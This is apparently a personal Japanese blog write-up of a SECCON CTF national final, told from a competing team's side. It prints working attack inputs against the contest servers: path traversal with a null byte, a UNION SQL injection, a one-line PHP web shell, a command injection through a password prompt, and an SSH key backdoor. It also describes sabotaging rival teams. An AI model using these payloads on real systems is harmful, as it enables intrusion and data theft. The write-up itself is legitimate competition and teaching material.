第1回SECCON CTF全国大会 write-up

第1回SECCON CTF全国大会にチームmofuppとして参加してきた。

SECCON 競技コンテスト開催!: 第1回SECCON CTF全国大会 結果報告

NHKニュース

mofuppは4位だった。(たぶん)Mercuryサーバーの3個目以外の、Mercury, Jupiter, Uranusの全キーワードはmofuppが最初に奪取( ̄ー ̄)

以降は大会の様子。後日、参加したチームに攻撃対象サーバーのVMイメージを送ってくれるらしいので、解いて追記しようと思う。私の作業分だけじゃなくて、チーム全体の分を書いている。

ルール

攻撃対象のサーバーとして、Mercury, Venus, Mars, Jupiter, Uranus, Neptuneの6個のサーバーが時間差で与えられる。サーバーを攻撃して、キーワードを奪取し、スコアサーバーに送信すると+100点。他に、各サーバーごとに改竄対象のウェブページが指定されている。各チームに5分ごとに更新されるフラグという文字列が与えられて、更新のタイミングで更新前のフラグがウェブページに載っていれば+20点。ただし複数のチームのフラグが書き込まれていた場合は、チーム数で割った点数になる。サーバーを攻撃して情報を抜き出したり改竄したりしつつ、他チームから守るゲーム。

Mercury(1日目)

stage1

指定されたサーバーにHTTPでアクセスすると、以下のファイル一覧が表示される。

  • stage1.cgi
  • jpn.txt
  • eng.txt
  • stage2

stage2ディレクトリにはパスワードがかかっていてアクセスできない。stage1.cgiはコンボボックスで言語の切り替えができて、選んだ言語によってjpn.txtとeng.txtを読み込んでいるらしい。

http://10.0.2.3/stage1.cgi?stage2/.htpasswd%00

にアクセスすると、stage2のパスワードファイルが読める。中身は

stage2:$apr1$A6MUJxOY$yiT18nINvgC/LOADJWWKe.

John The Ripperで解析すると、

222222

だった。これでstage2にアクセスするとキーワードが表示された。

stage2

登録されているユーザーを検索するCGIらしい。ただしパスワードは伏せ字になっている。「'」を検索してみるとエラーが発生して、cgiのファイル名(index000.cgi)が分かる。stage1.cgiでこのファイルを読んでみると、SQLインジェクションがあることが分かる。

    use DBI;
    my $dbh = DBI->connect('dbi:SQLite:dbname=../../DB/stage2.db', '', '');
    my $sth = $dbh->prepare(
      "SELECT id,name,password FROM stage2 WHERE name LIKE '%".
      $q->param("keyword")."%';");
    $sth->execute();
    while(my @row = $sth->fetchrow_array) {
      my $pass = '*' x length($row[2]);
      $result .= "<tr><td>$row[0]</td><td>$row[1]</td><td>$pass</td></tr>\n";
    }
    $dbh->disconnect();

↑該当部分のソースコード

' UNION SELECT password,name,id FROM stage2--

を検索すると、↓の表が表示される。

No ユーザ名 パスワード
1 keigo ********
2 seccon *********
3 stage3 ***********
/stage3xYz/ stage3 *
password keigo *
zenkoku?! seccon *

最初はstage3のパスワードがどういう意味なのかわからなかったけど、URLだった。

http://10.0.2.3/stage3xYz/

にアクセスするとキーワードが表示された。

stage3

画像アップローダー。画像ではなく任意のファイルをアップロードできる。phpをアップロードすれば任意のコードを実行できる。いちいちスクリプトを書いてアップロードするのは面倒なので、WhiteHackerZさんのブログで見かけた

<?php passthru($_GET["cmd"]);

をアップロードした。

ファイル一覧を取得すると、

HINT-1:_Use_SSH
HINT-2:_Append_Only

というファイルがある。SSH用の秘密鍵と公開鍵を作って、公開鍵を

/home/stage4/.ssh/authorized_keys

に追記することで、stage4でSSH接続ができる。接続するとキーワードが表示された。

フラグ書き換え

/etc/sudoersを確認すると、stage4はパスワード無しでstage5の権限でviを起動できるらしい。書き換え対象のhttp://10.0.2.3/FLAGはstage5ならば書き換え可能。

sudo -u stage5 vi

して書き換えようとしたけど、書き換え不可のエラーが出る。権限はあるのになんで……。そうしているうちに、先にフラグを書き換えたチームが他チームのSSHを切断するスクリプトを動かし始めたので、ここで断念。

Neptune

ポート80にアクセスすると、パケットをキャプチャしながら8080にアクセスしろと言われる。そうしてみると、フラグがおかしなパケットが返ってくる。それを修正しながらアクセスすれば良いのかなと思うも、低レベルな処理が書けなくて断念。

Pythonだとscapyというライブラリが使えたらしい。

Mars

アクセスするとウェブフォームが表示される。何をやっていいかわからないし、重いし、断念。

Uranus

hint:nridkgns

らしい。

キーワード1個目

サーバーにポートスキャンをかけてみると、ポート5060が開いている。

>nc 10.0.2.8 5060
Input password: nridkgns
Valid password.
Submit keyword, "Service"
Input file name: backup
bin
etc
lib
libexec
src
submit_this_key2
usr

キーワード

Service
キーワード2個目

表示される内容からして、lsを実行しているっぽい。

>nc 10.0.2.8 5060
Input password: nridkgns;cat submit_this_key2;
Valid password.
Submit keyword, "Service"
Input file name: backup
bin
etc
lib
libexec
src
submit_this_key2
usr
AfterService

キーワード

AfterService
3個目

このプログラムはchrootされているので、他のユーザーのファイルを見たりはできない。ファイルを漁ると、/backup/backup.tgzに/srcの内容が保存されていて、/usr/bin/backup.plというスクリプトがある。↓backup.plの中身。

#!/usr/bin/perl

$homedir  = "/home/user";
$bkupdir  = $homedir . "/backup";
$confdir  = $homedir . "/etc";
$bkupfile = $bkupdir . "/backup.tgz";
$conffile = $confdir . "/backup.conf";

$conffile_default = "DIR: src\n";

# 設定ファイル読み込み

for ($i = 0; $i < 2; $i++) {
    # backup.confファイルが無ければデフォルトのものを作成する.
    if (!open(FILE, "$conffile")) {
        system("rm -f $conffile");
        system("mkdir -p $confdir");
        open(FILE, "> $conffile");
        print FILE "$conffile_default";
        print "create configure file.\n";
    }
    close(FILE);

    # backup.confファイル読み込み.
    $dir = "";
    open(FILE, "$conffile");
    while (<FILE>) {
        chomp;
        ($dir) = /^DIR\:\s*(\S.*)/;
        if ($dir ne "") {
            last;
        }
    }
    close(FILE);

    if ($dir ne "") {
        if (length($dir) > 128) {
            print "too much length.\n";
        } else {
            print "found configure file.\n";
            print "dir: \"$dir\"\n";
            last;
        }
    }

    print "delete configure file.\n";
    system("rm -f $conffile");
}

# バックアップ処理

system("mkdir -p $bkupdir");
system("rm -f $bkupfile");

open(FILE, "((tar cvzf - $homedir/$dir) > $bkupfile) 2>&1 |");
while (<FILE>) {
    $c++;
    if ($c > 30) {
        last;
    }
}
close(FILE);

「$homedir = "/home/user";」からして、chroot外で動いているので、/home/user/etc/backup.confを書き換えて何かするのだろうなと思うけど上手く動かせなかった。

backup.plを他チームが見つけたら解かれそうなので、他チームへの妨害として、ダミーファイルを大量に作っておいた。

この辺で、パスワードを入力しても何も表示されなくなったりして、訳が分からなくて断念。

運営側の措置だったらしい。ごめんなさい。

Venus

ARMのプログラムが配布された。このプログラムを動かすと、

Input year: 

と表示されて、年を入れるとカレンダーが表示される。解析してみると、

system("cal "+input);

を実行しているので、OSコマンドインジェクションが可能。バッファーオーバフローの脆弱性もある。ポートスキャンをかけるとポート10082が開いていることが分かる。これは簡単だと思って、アクセスすると、

Input name: 

と訊かれる……。プログラムが違うので何もできずに終了。

→渡されたプログラムは他のポートで動いてたらしい(´・ω・`)

Jupiter

Windowsサーバーが動いている。ArmitageでHail Maryをしてみたら、Administrator(SYSTEM?)権限が取れた。

まさかMetasploitでいけるとは思わなかった。わらえるw MS08-067

Cドライブ直下にキーワードを見つけたので、サブミットして、他チームが取得できないようにファイルを消しておいた( ̄ー ̄) フラグも書き換えて点数が入り始めた(・∀・)

そうしているうちに、会場のスクリーンにJupiterサーバーが映し出された。他のチームも制御を取ってVNCで動かしていたらしい。とりあえず再起動してみたら、起動しない……。

kusano: Jupter復活マダー? (´;ω;`)っ/凵 ⌒☆チン
kenji: Jupiterはプレイヤーによってshutdownされたので起動はしません

(´・ω・`)

Mercury(2日目)

MercuryのFLAGが書き換えられない理由を1日目の夜にチームで話し合ったところ、SELinuxACLを使っているのではないかということだった。追記だけを許可するということができるらしい。普通にviで保存すると追記にならないので、

:!echo e3d86122e97e86559dc7cb050f6994b8e6c6c3f0a01bb92d3a2fbcb8de1ae8d8 >> /var/www/html/FLAG

というコマンドを実行すれば良い。

他チームのSSH切断のスキをついてフラグを1回書き込めたけど、5分後ごとにそんなことはしていられない。sshに接続してから実行するコマンドを指定することができるけど、

sudo: sorry, you must have a tty to run sudo

と怒られる。-tオプションを付ければ良いらしい。viの-cオプションで起動時に実行するコマンドを指定できるけど、なぜか上手く動かなかった。↓をコピーして、手元のVMに繋いだTeraTermに貼り付けることを5分ごとに繰り返した。

ssh -t -i himitsu.key stage4@10.0.2.3 sudo -u stage5 vi
:!echo e3d86122e97e86559dc7cb050f6994b8e6c6c3f0a01bb92d3a2fbcb8de1ae8d8 >> /var/www/html/FLAG
:q!

運営のフラグ監視用プログラムは1行ごとに読み込んでいるのでは?と思って、自分たちのフラグのあとに改行無しの文字列を追加していたけど、たぶん効果は無かったと思う。

この辺でJupiterのフラグ書き換え点数が入り始めて2位になっていたけど、1位urandomの差が大きかった。この時点で、urandomはMercuryでフラグの点数を稼ぎ、mofuppはMercuryとJupiterで点数を稼いでいた。ルールのところで書いたように、複数のチームがフラグを書き換えている場合、1チームあたりの点数は低くなるので、urandomの点数の伸びを抑えられるのではと考え、他の全チームのフラグをMercuryに書き込むことにした。

( ´∀`)つ戸 フラグどーぞ

点数が入ったときに、会場がザワザワし始めて面白かった(・∀・)

まとめ

プログラムを解析してExploitを書く問題がほとんどかと思っていたけど、OSコマンドインジェクションが多かった。

4位は悔しいけど、面白かったです。ありがとうございました。